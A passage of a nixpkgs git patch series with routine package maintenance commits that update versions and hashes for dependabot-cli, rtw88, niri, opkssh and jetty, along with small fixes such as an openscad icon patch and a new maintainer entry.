+          imageName = "ghcr.io/github/dependabot-update-job-proxy/dependabot-update-job-proxy";
+          finalImageName = "dependabot-update-job-proxy";
+          finalImageTag = tag;
+          inherit (updateJobProxy) imageDigest hash;
+        };
+
+        updaterGitHubActionsImage = dockerTools.pullImage {
+          imageName = "ghcr.io/dependabot/dependabot-updater-github-actions";
+          finalImageName = "dependabot-updater-github-actions";
+          finalImageTag = tag;
+          inherit (updaterGitHubActions) imageDigest hash;
+        };
+      in
+      ''
+        # Create a wrapper that pins the docker images that `dependabot` uses.
+        wrapProgram $out/bin/dependabot \
+          --run "docker load --input ${updateJobProxyImage} >&2" \
+          --add-flags "--proxy-image=dependabot-update-job-proxy:${tag}" \
+          --run "docker load --input ${updaterGitHubActionsImage} >&2" \
+          --add-flags "--updater-image=dependabot-updater-github-actions:${tag}"
+      '';
   };
 
   passthru.tests.version = testers.testVersion {

From 25b0ec83bf7df03d44e18146808d9a97aedf56cf Mon Sep 17 00:00:00 2001
From: Philip Taron <philip.taron@gmail.com>
Date: Mon, 26 May 2025 12:47:59 -0700
Subject: [PATCH 4064/4511] dependabot-cli: only run dependabot in order to get
 completions if supported

(cherry picked from commit b80cf33ab1cee28beb47d1d53d318777072d44d4)
---
 pkgs/by-name/de/dependabot-cli/package.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/de/dependabot-cli/package.nix b/pkgs/by-name/de/dependabot-cli/package.nix
index 04b67bf130d1..ccc11ad6b414 100644
--- a/pkgs/by-name/de/dependabot-cli/package.nix
+++ b/pkgs/by-name/de/dependabot-cli/package.nix
@@ -1,10 +1,11 @@
 {
+  lib,
+  stdenv,
   buildGoModule,
   dependabot-cli,
   dockerTools,
   fetchFromGitHub,
   installShellFiles,
-  lib,
   makeWrapper,
   symlinkJoin,
   testers,
@@ -49,7 +50,7 @@ buildGoModule {
     installShellFiles
   ];
 
-  postInstall = ''
+  postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
     installShellCompletion --cmd dependabot \
       --bash <($out/bin/dependabot completion bash) \
       --fish <($out/bin/dependabot completion fish) \

From d954ff07e95c2cece4b167cc89f6ceeaed56fe68 Mon Sep 17 00:00:00 2001
From: Philip Taron <philip.taron@gmail.com>
Date: Mon, 26 May 2025 12:49:35 -0700
Subject: [PATCH 4065/4511] dependabot-cli: add philiptaron as a maintainer

I'll do it as part of keeping nixpkgs-vet up to date.

(cherry picked from commit 28a03525e3a38699080476983d9d8e4b1610bc3d)
---
 pkgs/by-name/de/dependabot-cli/package.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/de/dependabot-cli/package.nix b/pkgs/by-name/de/dependabot-cli/package.nix
index ccc11ad6b414..ccce75d5721c 100644
--- a/pkgs/by-name/de/dependabot-cli/package.nix
+++ b/pkgs/by-name/de/dependabot-cli/package.nix
@@ -104,14 +104,15 @@ buildGoModule {
     version = "v${version}";
   };
 
-  meta = with lib; {
+  meta = {
     changelog = "https://github.com/dependabot/cli/releases/tag/v${version}";
     description = "Tool for testing and debugging Dependabot update jobs";
     mainProgram = "dependabot";
     homepage = "https://github.com/dependabot/cli";
-    license = licenses.mit;
-    maintainers = with maintainers; [
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [
       infinisil
+      philiptaron
     ];
   };
 }

From dbb743cb0a1ee302b7651499228df39a5c0045ee Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 8 Jun 2025 21:50:04 +0000
Subject: [PATCH 4066/4511] dependabot-cli: 1.65.0 -> 1.66.0

(cherry picked from commit 0aa93417d819f5bfa6e1600b47aea5c516b2103b)
---
 pkgs/by-name/de/dependabot-cli/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/de/dependabot-cli/package.nix b/pkgs/by-name/de/dependabot-cli/package.nix
index ccce75d5721c..fef777d03e45 100644
--- a/pkgs/by-name/de/dependabot-cli/package.nix
+++ b/pkgs/by-name/de/dependabot-cli/package.nix
@@ -12,20 +12,20 @@
 }:
 let
   pname = "dependabot-cli";
-  version = "1.65.0";
+  version = "1.66.0";
 
   # `tag` is what `dependabot` uses to find the relevant docker images.
   tag = "nixpkgs-dependabot-cli-${version}";
 
   # Get these hashes from
   # nix run nixpkgs#nix-prefetch-docker -- --image-name ghcr.io/github/dependabot-update-job-proxy/dependabot-update-job-proxy --image-tag latest --final-image-name dependabot-update-job-proxy --final-image-tag ${tag}
-  updateJobProxy.imageDigest = "sha256:ef245bd38aaa3cf89cafcffe0630d3ad3cff840488a2051a48517454e7f42368";
-  updateJobProxy.hash = "sha256-yndoGLpyV2MiIs0QXbF/W0xJ6jtmnw/ezL54VM80/CI=";
+  updateJobProxy.imageDigest = "sha256:0b0d8c67cad11fa0885fcc3fe0add06638c29c19f05a83f80077d5dbb70c2037";
+  updateJobProxy.hash = "sha256-7O/1NYdhtmO+MAwfu8BSaJQ1RVkXrFPBpfRy0N7p1lQ=";
 
   # Get these hashes from
   # nix run nixpkgs#nix-prefetch-docker -- --image-name ghcr.io/dependabot/dependabot-updater-github-actions --image-tag latest --final-image-name dependabot-updater-github-actions --final-image-tag ${tag}
-  updaterGitHubActions.imageDigest = "sha256:adeaa00b4ae49e942adccec76d4487a393eebd0dec27cd75a3cdf6cc46d801d7";
-  updaterGitHubActions.hash = "sha256-ni9rSEpeo0gIdYy2CIIpnIWg0kttoTnvRwbZ71QwmIg=";
+  updaterGitHubActions.imageDigest = "sha256:11de6594db1c23e7ed4a6b621e8584b4a3b34484d51f2f8aa850c21fbce9094f";
+  updaterGitHubActions.hash = "sha256-cImOCW7tggBWEPlmE55b4OFMxf/+VGLoqx0tRualowo=";
 in
 buildGoModule {
   inherit pname version;
@@ -34,10 +34,10 @@ buildGoModule {
     owner = "dependabot";
     repo = "cli";
     rev = "v${version}";
-    hash = "sha256-A7CPn0YDeyr+d1OUde2TGfSt3eCfrK4k3S7NWsvCGx0=";
+    hash = "sha256-9VgcQgiNv1v6+jnaWK10yccC1ILSxiIj9ZCIhHY57jk=";
   };
 
-  vendorHash = "sha256-pnB1SkuEGm0KfkDfjnoff5fZRsAgD5w2H4UwsD3Jlbo=";
+  vendorHash = "sha256-gENlo1EPzsML+HkDBg4a2VGTUhyKY8AhlpHVszYWBno=";
 
   ldflags = [
     "-s"

From a6b15da80f78d0d712c9c18ae4e98cf4a9b4d6de Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 27 Jun 2025 16:30:44 +0000
Subject: [PATCH 4067/4511] dependabot-cli: 1.66.0 -> 1.67.1

(cherry picked from commit 7ae32b9a83be8e32a7541103707a6278aa2b36ad)
---
 pkgs/by-name/de/dependabot-cli/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/de/dependabot-cli/package.nix b/pkgs/by-name/de/dependabot-cli/package.nix
index fef777d03e45..693fb1178422 100644
--- a/pkgs/by-name/de/dependabot-cli/package.nix
+++ b/pkgs/by-name/de/dependabot-cli/package.nix
@@ -12,20 +12,20 @@
 }:
 let
   pname = "dependabot-cli";
-  version = "1.66.0";
+  version = "1.67.1";
 
   # `tag` is what `dependabot` uses to find the relevant docker images.
   tag = "nixpkgs-dependabot-cli-${version}";
 
   # Get these hashes from
   # nix run nixpkgs#nix-prefetch-docker -- --image-name ghcr.io/github/dependabot-update-job-proxy/dependabot-update-job-proxy --image-tag latest --final-image-name dependabot-update-job-proxy --final-image-tag ${tag}
-  updateJobProxy.imageDigest = "sha256:0b0d8c67cad11fa0885fcc3fe0add06638c29c19f05a83f80077d5dbb70c2037";
-  updateJobProxy.hash = "sha256-7O/1NYdhtmO+MAwfu8BSaJQ1RVkXrFPBpfRy0N7p1lQ=";
+  updateJobProxy.imageDigest = "sha256:0a7207bc265d7daaae61f2f105659d7c5947dc7e70395d6604cf114695d23578";
+  updateJobProxy.hash = "sha256-tQFkP260Vl2j19vTk7kz6/UmbKVg0CtjLuZYe7wHKSA=";
 
   # Get these hashes from
   # nix run nixpkgs#nix-prefetch-docker -- --image-name ghcr.io/dependabot/dependabot-updater-github-actions --image-tag latest --final-image-name dependabot-updater-github-actions --final-image-tag ${tag}
-  updaterGitHubActions.imageDigest = "sha256:11de6594db1c23e7ed4a6b621e8584b4a3b34484d51f2f8aa850c21fbce9094f";
-  updaterGitHubActions.hash = "sha256-cImOCW7tggBWEPlmE55b4OFMxf/+VGLoqx0tRualowo=";
+  updaterGitHubActions.imageDigest = "sha256:d0b91fa5fcfe306614f3c4307b4571cabe25405e06f3ce737a2b7b225530a71c";
+  updaterGitHubActions.hash = "sha256-yisnwxqFOUUBSq0YPX0C89dNOYYJ/mfNFhyrQCV6yoc=";
 in
 buildGoModule {
   inherit pname version;
@@ -34,10 +34,10 @@ buildGoModule {
     owner = "dependabot";
     repo = "cli";
     rev = "v${version}";
-    hash = "sha256-9VgcQgiNv1v6+jnaWK10yccC1ILSxiIj9ZCIhHY57jk=";
+    hash = "sha256-K3ZHLauAtG1pSZsiLwWj9sMWL1epPILLUvc22/+oj+g=";
   };
 
-  vendorHash = "sha256-gENlo1EPzsML+HkDBg4a2VGTUhyKY8AhlpHVszYWBno=";
+  vendorHash = "sha256-4737CHJCeq7qn8dGz3bYsauCLipKqItltpI5u6uBvuo=";
 
   ldflags = [
     "-s"

From 6e9d4942da830b78dd72f9bb968f69c9152bb69f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 7 Jul 2025 10:42:22 +0000
Subject: [PATCH 4068/4511] dependabot-cli: 1.67.1 -> 1.68.0

(cherry picked from commit c36c268109316c03e5e0ed384fbc9306dafb63dd)
---
 pkgs/by-name/de/dependabot-cli/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/de/dependabot-cli/package.nix b/pkgs/by-name/de/dependabot-cli/package.nix
index 693fb1178422..63dbcc94db1e 100644
--- a/pkgs/by-name/de/dependabot-cli/package.nix
+++ b/pkgs/by-name/de/dependabot-cli/package.nix
@@ -12,20 +12,20 @@
 }:
 let
   pname = "dependabot-cli";
-  version = "1.67.1";
+  version = "1.68.0";
 
   # `tag` is what `dependabot` uses to find the relevant docker images.
   tag = "nixpkgs-dependabot-cli-${version}";
 
   # Get these hashes from
   # nix run nixpkgs#nix-prefetch-docker -- --image-name ghcr.io/github/dependabot-update-job-proxy/dependabot-update-job-proxy --image-tag latest --final-image-name dependabot-update-job-proxy --final-image-tag ${tag}
-  updateJobProxy.imageDigest = "sha256:0a7207bc265d7daaae61f2f105659d7c5947dc7e70395d6604cf114695d23578";
-  updateJobProxy.hash = "sha256-tQFkP260Vl2j19vTk7kz6/UmbKVg0CtjLuZYe7wHKSA=";
+  updateJobProxy.imageDigest = "sha256:83834c9a112c3e29c4bc357e17ee057c32232f443bc295130b024077acbcca4e";
+  updateJobProxy.hash = "sha256-ej6AEvnp7n8O6eArrVAJgXzeco/Rz+tXg7gVxo0OsW8=";
 
   # Get these hashes from
   # nix run nixpkgs#nix-prefetch-docker -- --image-name ghcr.io/dependabot/dependabot-updater-github-actions --image-tag latest --final-image-name dependabot-updater-github-actions --final-image-tag ${tag}
-  updaterGitHubActions.imageDigest = "sha256:d0b91fa5fcfe306614f3c4307b4571cabe25405e06f3ce737a2b7b225530a71c";
-  updaterGitHubActions.hash = "sha256-yisnwxqFOUUBSq0YPX0C89dNOYYJ/mfNFhyrQCV6yoc=";
+  updaterGitHubActions.imageDigest = "sha256:90a65d2c98f8fc8ac1fd6291ea0be02a911818d4fa8ec788ceb1c9227fa844f4";
+  updaterGitHubActions.hash = "sha256-uc/yetek6XHTWQb1+DJiOWEHS2nea+/jd/lJdpI6m7E=";
 in
 buildGoModule {
   inherit pname version;
@@ -34,10 +34,10 @@ buildGoModule {
     owner = "dependabot";
     repo = "cli";
     rev = "v${version}";
-    hash = "sha256-K3ZHLauAtG1pSZsiLwWj9sMWL1epPILLUvc22/+oj+g=";
+    hash = "sha256-Pd9Q5ipwcj7KQ+Nr7Tyga3xwGKLPFJIPc23fob0EQeA=";
   };
 
-  vendorHash = "sha256-4737CHJCeq7qn8dGz3bYsauCLipKqItltpI5u6uBvuo=";
+  vendorHash = "sha256-vitkSAvc7TAXcqXQPbnIE0z4tYlSvdx072hzAB50O3I=";
 
   ldflags = [
     "-s"

From d1a6992b95e761c16e2c6dbbddd8720c814e40d8 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 19 Aug 2025 23:12:37 +0000
Subject: [PATCH 4069/4511] dependabot-cli: 1.68.0 -> 1.71.0

(cherry picked from commit 3ab6b3d198505d22ce3b9b2da6040ed38efb1109)
---
 pkgs/by-name/de/dependabot-cli/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/de/dependabot-cli/package.nix b/pkgs/by-name/de/dependabot-cli/package.nix
index 63dbcc94db1e..9ba6982bebac 100644
--- a/pkgs/by-name/de/dependabot-cli/package.nix
+++ b/pkgs/by-name/de/dependabot-cli/package.nix
@@ -12,20 +12,20 @@
 }:
 let
   pname = "dependabot-cli";
-  version = "1.68.0";
+  version = "1.71.0";
 
   # `tag` is what `dependabot` uses to find the relevant docker images.
   tag = "nixpkgs-dependabot-cli-${version}";
 
   # Get these hashes from
   # nix run nixpkgs#nix-prefetch-docker -- --image-name ghcr.io/github/dependabot-update-job-proxy/dependabot-update-job-proxy --image-tag latest --final-image-name dependabot-update-job-proxy --final-image-tag ${tag}
-  updateJobProxy.imageDigest = "sha256:83834c9a112c3e29c4bc357e17ee057c32232f443bc295130b024077acbcca4e";
-  updateJobProxy.hash = "sha256-ej6AEvnp7n8O6eArrVAJgXzeco/Rz+tXg7gVxo0OsW8=";
+  updateJobProxy.imageDigest = "sha256:a42f9b9845929ae044b8cd51b5335195c33fd610405e558552408287c5295827";
+  updateJobProxy.hash = "sha256-pEtwBoJ+wF2TdQCcCyigLg4NYqOp2oNCEB7oCJOkwYc=";
 
   # Get these hashes from
   # nix run nixpkgs#nix-prefetch-docker -- --image-name ghcr.io/dependabot/dependabot-updater-github-actions --image-tag latest --final-image-name dependabot-updater-github-actions --final-image-tag ${tag}
-  updaterGitHubActions.imageDigest = "sha256:90a65d2c98f8fc8ac1fd6291ea0be02a911818d4fa8ec788ceb1c9227fa844f4";
-  updaterGitHubActions.hash = "sha256-uc/yetek6XHTWQb1+DJiOWEHS2nea+/jd/lJdpI6m7E=";
+  updaterGitHubActions.imageDigest = "sha256:ca93364b87b6a803d0005409cdb4c61d9c6d808dca33de47de14ef8c30811b51";
+  updaterGitHubActions.hash = "sha256-TnV8IaBrGPpd06YYmvazGMlZTAVJIMCSWdOgi6hkpRE=";
 in
 buildGoModule {
   inherit pname version;
@@ -34,10 +34,10 @@ buildGoModule {
     owner = "dependabot";
     repo = "cli";
     rev = "v${version}";
-    hash = "sha256-Pd9Q5ipwcj7KQ+Nr7Tyga3xwGKLPFJIPc23fob0EQeA=";
+    hash = "sha256-RZNZ72FG4KQr52X0No6iXU4NMUQs7k000KYpw2Kuz5U=";
   };
 
-  vendorHash = "sha256-vitkSAvc7TAXcqXQPbnIE0z4tYlSvdx072hzAB50O3I=";
+  vendorHash = "sha256-5zOMTe8Sa/nkIGtwm4FbAqv3/9Mg5Du2ixxF84VQbXE=";
 
   ldflags = [
     "-s"

From 4ce47ce0c38cf76fb953d641569989fcd698b548 Mon Sep 17 00:00:00 2001
From: Ryan Hendrickson <ryan.hendrickson@alum.mit.edu>
Date: Fri, 29 Aug 2025 19:48:52 -0400
Subject: [PATCH 4070/4511] openscad: fix application icon

(cherry picked from commit 45d2d5f8d61127deaa771f1e88ba28372e8ddbb7)
---
 pkgs/applications/graphics/openscad/default.nix | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/pkgs/applications/graphics/openscad/default.nix b/pkgs/applications/graphics/openscad/default.nix
index 1609c8b42565..6ca8d79b0f9b 100644
--- a/pkgs/applications/graphics/openscad/default.nix
+++ b/pkgs/applications/graphics/openscad/default.nix
@@ -74,6 +74,16 @@ stdenv.mkDerivation rec {
       url = "https://github.com/openscad/openscad/commit/cc49ad8dac24309f5452d5dea9abd406615a52d9.patch";
       hash = "sha256-B3i+o6lR5osRcVXTimDZUFQmm12JhmbFgG9UwOPebF4=";
     })
+    (fetchpatch {
+      name = "fix-application-icon-not-shown-on-wayland.patch";
+      url = "https://github.com/openscad/openscad/commit/5ea83e5117f5f3ac2197c63db69f523721b8fa85.patch";
+      hash = "sha256-nfeUv0R+J95fyqnVC0HNeBVZnxVoisY1pcdII82qUSU=";
+
+      # upstream's formatting conventions changed between 2021 and this patch
+      postFetch = ''
+        sed -i 's/& / \&/g;s/\*\*/\0 /g;s/^\(.\)  /\1\t/' "$out"
+      '';
+    })
   ];
 
   postPatch = ''

From 1dd839b56e67747f8c76edd9ff4d28fb53ed4d1f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 5 Jul 2025 10:01:24 +0000
Subject: [PATCH 4071/4511] linuxPackages.rtw88: 0-unstable-2025-05-08 ->
 0-unstable-2025-06-26

(cherry picked from commit 836fadeffd1288d7697d2ddb6cad45902c4e5b59)
---
 pkgs/os-specific/linux/rtw88/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/rtw88/default.nix b/pkgs/os-specific/linux/rtw88/default.nix
index f29474ae34b8..5c2bf316081c 100644
--- a/pkgs/os-specific/linux/rtw88/default.nix
+++ b/pkgs/os-specific/linux/rtw88/default.nix
@@ -12,13 +12,13 @@ let
 in
 stdenv.mkDerivation {
   pname = "rtw88";
-  version = "0-unstable-2025-05-08";
+  version = "0-unstable-2025-06-26";
 
   src = fetchFromGitHub {
     owner = "lwfinger";
     repo = "rtw88";
-    rev = "461b696b51317ba4ca585a4ddb32f2e72cd4efc9";
-    hash = "sha256-PBAON2s7gKvpO40vppahEtkWJ4HIjbOjfUz+fx87gIA=";
+    rev = "b89af8cd40d9528b0cdb9a6251efe49d8a69bfc6";
+    hash = "sha256-gzWVfb8nAN0mmOpiats+VDG/6iwdrxcQHEsDgC7eFZU=";
   };
 
   nativeBuildInputs = kernel.moduleBuildDependencies;

From 6f9970510d797e30ee354355252d0863daa84fdd Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 14 Jul 2025 17:02:56 +0000
Subject: [PATCH 4072/4511] linuxPackages.rtw88: 0-unstable-2025-06-26 ->
 0-unstable-2025-07-13

(cherry picked from commit 3cf49495aff6b3b54da9ebc0eefc643bc5a37d97)
---
 pkgs/os-specific/linux/rtw88/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/rtw88/default.nix b/pkgs/os-specific/linux/rtw88/default.nix
index 5c2bf316081c..0f2e47595e9a 100644
--- a/pkgs/os-specific/linux/rtw88/default.nix
+++ b/pkgs/os-specific/linux/rtw88/default.nix
@@ -12,13 +12,13 @@ let
 in
 stdenv.mkDerivation {
   pname = "rtw88";
-  version = "0-unstable-2025-06-26";
+  version = "0-unstable-2025-07-13";
 
   src = fetchFromGitHub {
     owner = "lwfinger";
     repo = "rtw88";
-    rev = "b89af8cd40d9528b0cdb9a6251efe49d8a69bfc6";
-    hash = "sha256-gzWVfb8nAN0mmOpiats+VDG/6iwdrxcQHEsDgC7eFZU=";
+    rev = "fa96fd4c014fa528d1fa50318e97aa71bf4f473c";
+    hash = "sha256-KFozxbpw6HJhbL5QLnGkKEBAbeEiHrhSJUMAcbM+lX4=";
   };
 
   nativeBuildInputs = kernel.moduleBuildDependencies;

From 85e2a8bcb9fd1433b3f0a91cb6a57bae6ef99758 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 9 Aug 2025 21:44:03 +0000
Subject: [PATCH 4073/4511] linuxPackages.rtw88: 0-unstable-2025-07-13 ->
 0-unstable-2025-08-09

(cherry picked from commit 533f8105e16eb346916de5e2f8ebf5bd74531cf5)
---
 pkgs/os-specific/linux/rtw88/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/rtw88/default.nix b/pkgs/os-specific/linux/rtw88/default.nix
index 0f2e47595e9a..f501e5c6a317 100644
--- a/pkgs/os-specific/linux/rtw88/default.nix
+++ b/pkgs/os-specific/linux/rtw88/default.nix
@@ -12,13 +12,13 @@ let
 in
 stdenv.mkDerivation {
   pname = "rtw88";
-  version = "0-unstable-2025-07-13";
+  version = "0-unstable-2025-08-09";
 
   src = fetchFromGitHub {
     owner = "lwfinger";
     repo = "rtw88";
-    rev = "fa96fd4c014fa528d1fa50318e97aa71bf4f473c";
-    hash = "sha256-KFozxbpw6HJhbL5QLnGkKEBAbeEiHrhSJUMAcbM+lX4=";
+    rev = "52072d874840f28c247b27f5d799f2c5c88a7e61";
+    hash = "sha256-Lu3ol0iKfM9/SJ5lieh4A28h02Stc971ZypfiB2BWJ0=";
   };
 
   nativeBuildInputs = kernel.moduleBuildDependencies;

From b746d41068ac084d9aeba71d645a7492b82f9189 Mon Sep 17 00:00:00 2001
From: zimward <zimward@zimward.moe>
Date: Sat, 30 Aug 2025 16:57:27 +0200
Subject: [PATCH 4074/4511] niri: 25.05.1 -> 25.08

(cherry picked from commit c9febd4b93200a53861e05580a57ee602045b2cb)
---
 pkgs/by-name/ni/niri/package.nix | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ni/niri/package.nix b/pkgs/by-name/ni/niri/package.nix
index 8496bf03f8a4..363cd6dbf554 100644
--- a/pkgs/by-name/ni/niri/package.nix
+++ b/pkgs/by-name/ni/niri/package.nix
@@ -25,13 +25,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "niri";
-  version = "25.05.1";
+  version = "25.08";
 
   src = fetchFromGitHub {
     owner = "YaLTeR";
     repo = "niri";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-z4viQZLgC2bIJ3VrzQnR+q2F3gAOEQpU1H5xHtX/2fs=";
+    hash = "sha256-RLD89dfjN0RVO86C/Mot0T7aduCygPGaYbog566F0Qo=";
   };
 
   outputs = [
@@ -45,7 +45,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail '/usr/bin' "$out/bin"
   '';
 
-  cargoHash = "sha256-8ltuI94yIhff7JxIfe1mog4bDJ/7VFgLooMWOnSTREs=";
+  cargoHash = "sha256-lR0emU2sOnlncN00z6DwDIE2ljI+D2xoKqG3rS45xG0=";
 
   strictDeps = true;
 
@@ -78,7 +78,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   postInstall = ''
     install -Dm0644 README.md resources/default-config.kdl -t $doc/share/doc/niri
-    mv wiki $doc/share/doc/niri/wiki
+    mv docs/wiki $doc/share/doc/niri/wiki
 
     install -Dm0644 resources/niri.desktop -t $out/share/wayland-sessions
   ''
@@ -113,6 +113,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     NIRI_BUILD_COMMIT = "Nixpkgs";
   };
 
+  checkFlags = [ "--skip=::egl" ];
   nativeInstallCheckInputs = [ versionCheckHook ];
   versionCheckProgramArg = "--version";
   doInstallCheck = true;

From 4999a074b5756b403352b9b1f177332e2d3249c6 Mon Sep 17 00:00:00 2001
From: Soner Sayakci <s.sayakci@gmail.com>
Date: Wed, 28 May 2025 19:34:58 +0200
Subject: [PATCH 4075/4511] opkssh: 0.6.1 -> 0.7.0

(cherry picked from commit e18ff6ebadbbc9dd3145a4ebb4248747bf5ac21a)
---
 pkgs/by-name/op/opkssh/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/opkssh/package.nix b/pkgs/by-name/op/opkssh/package.nix
index 7586bca5f127..eec9e82baaec 100644
--- a/pkgs/by-name/op/opkssh/package.nix
+++ b/pkgs/by-name/op/opkssh/package.nix
@@ -8,18 +8,18 @@
 
 buildGoModule (finalAttrs: {
   pname = "opkssh";
-  version = "0.6.1";
+  version = "0.7.0";
 
   src = fetchFromGitHub {
     owner = "openpubkey";
     repo = "opkssh";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-BK34zw/VYv6mAn68U8tRoOU6Obz3P+6Hw12fsKBuUf8=";
+    hash = "sha256-8fbOhyrHgNG9ulu/DZvUHzIojvoHG/gb5+Ft/RmMHXk=";
   };
 
   ldflags = [ "-X main.Version=${finalAttrs.version}" ];
 
-  vendorHash = "sha256-6nTRiybsNtP/BiDaNrFEGEGM41BAjGpOyQ0AlQimSE4=";
+  vendorHash = "sha256-bkTQqtlZhZ2/WnQNRdZzfblkGKjaAS22RFl6I1O3/yA=";
 
   nativeInstallCheckInputs = [
     versionCheckHook

From f036a585e7cb9ef80bfb1241755f9bc748444f29 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 21 Jul 2025 15:16:48 +0000
Subject: [PATCH 4076/4511] opkssh: 0.7.0 -> 0.8.0

(cherry picked from commit 1b01144f0475718dd0377b2d8c7ddc7482d84d24)
---
 pkgs/by-name/op/opkssh/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/opkssh/package.nix b/pkgs/by-name/op/opkssh/package.nix
index eec9e82baaec..939750544a9a 100644
--- a/pkgs/by-name/op/opkssh/package.nix
+++ b/pkgs/by-name/op/opkssh/package.nix
@@ -8,18 +8,18 @@
 
 buildGoModule (finalAttrs: {
   pname = "opkssh";
-  version = "0.7.0";
+  version = "0.8.0";
 
   src = fetchFromGitHub {
     owner = "openpubkey";
     repo = "opkssh";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-8fbOhyrHgNG9ulu/DZvUHzIojvoHG/gb5+Ft/RmMHXk=";
+    hash = "sha256-8CWxxhqgSgFVRNjAvJ0faHI4rsSPQNkcSqVSzTHRJY4=";
   };
 
   ldflags = [ "-X main.Version=${finalAttrs.version}" ];
 
-  vendorHash = "sha256-bkTQqtlZhZ2/WnQNRdZzfblkGKjaAS22RFl6I1O3/yA=";
+  vendorHash = "sha256-0H7hST5Czd/1rDQ0nO2FAnbG2lN3AZULs5M17zKa9FY=";
 
   nativeInstallCheckInputs = [
     versionCheckHook

From acfd355f30125c6e1fb3e03ad802b55cf96c9355 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 25 Aug 2025 10:27:01 +0000
Subject: [PATCH 4077/4511] opkssh: 0.8.0 -> 0.9.0

(cherry picked from commit 51ea6ddc5b2c9ee6300f98b39033398d597220b0)
---
 pkgs/by-name/op/opkssh/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/opkssh/package.nix b/pkgs/by-name/op/opkssh/package.nix
index 939750544a9a..22c52a93c180 100644
--- a/pkgs/by-name/op/opkssh/package.nix
+++ b/pkgs/by-name/op/opkssh/package.nix
@@ -8,18 +8,18 @@
 
 buildGoModule (finalAttrs: {
   pname = "opkssh";
-  version = "0.8.0";
+  version = "0.9.0";
 
   src = fetchFromGitHub {
     owner = "openpubkey";
     repo = "opkssh";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-8CWxxhqgSgFVRNjAvJ0faHI4rsSPQNkcSqVSzTHRJY4=";
+    hash = "sha256-c7cs7qSq5fhJuMhgRWAZmc4yWt+B219P2D0niP2sXlM=";
   };
 
   ldflags = [ "-X main.Version=${finalAttrs.version}" ];
 
-  vendorHash = "sha256-0H7hST5Czd/1rDQ0nO2FAnbG2lN3AZULs5M17zKa9FY=";
+  vendorHash = "sha256-naQGvGjIRTy4BlXxM4bXnrBUWTUCFTDHOYEp91ss1wI=";
 
   nativeInstallCheckInputs = [
     versionCheckHook

From 83c9489844372a13b7773ccd0a3b72e6dbca5b10 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 6 Jun 2025 11:16:19 +0000
Subject: [PATCH 4078/4511] jetty: 12.0.21 -> 12.0.22

(cherry picked from commit e613166d54930d33723765644c74faa1303f6b29)
---
 pkgs/servers/http/jetty/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/jetty/default.nix b/pkgs/servers/http/jetty/default.nix
index 9a6ffb09697d..cc661c6378e4 100644
--- a/pkgs/servers/http/jetty/default.nix
+++ b/pkgs/servers/http/jetty/default.nix
@@ -57,7 +57,7 @@ in
   };
 
   jetty_12 = common {
-    version = "12.0.21";
-    hash = "sha256-U/W6h0S7b0zLoYahDGo/pkKa+NIMKR0tiX3pyRl40zg=";
+    version = "12.0.22";
+    hash = "sha256-Ey3z+C+cBh8clWqcGULEsQQcbSbuaGwGr+arJE+GChs=";
   };
 }

From 9a893234ccc969340ff955b9b7ef1d22f83ffb10 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 5 Jul 2025 06:11:10 +0000
Subject: [PATCH 4079/4511] jetty: 12.0.22 -> 12.0.23

(cherry picked from commit 931288980e868ce5ee31c6dca6cdc067f9b10c67)
---
 pkgs/servers/http/jetty/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/jetty/default.nix b/pkgs/servers/http/jetty/default.nix
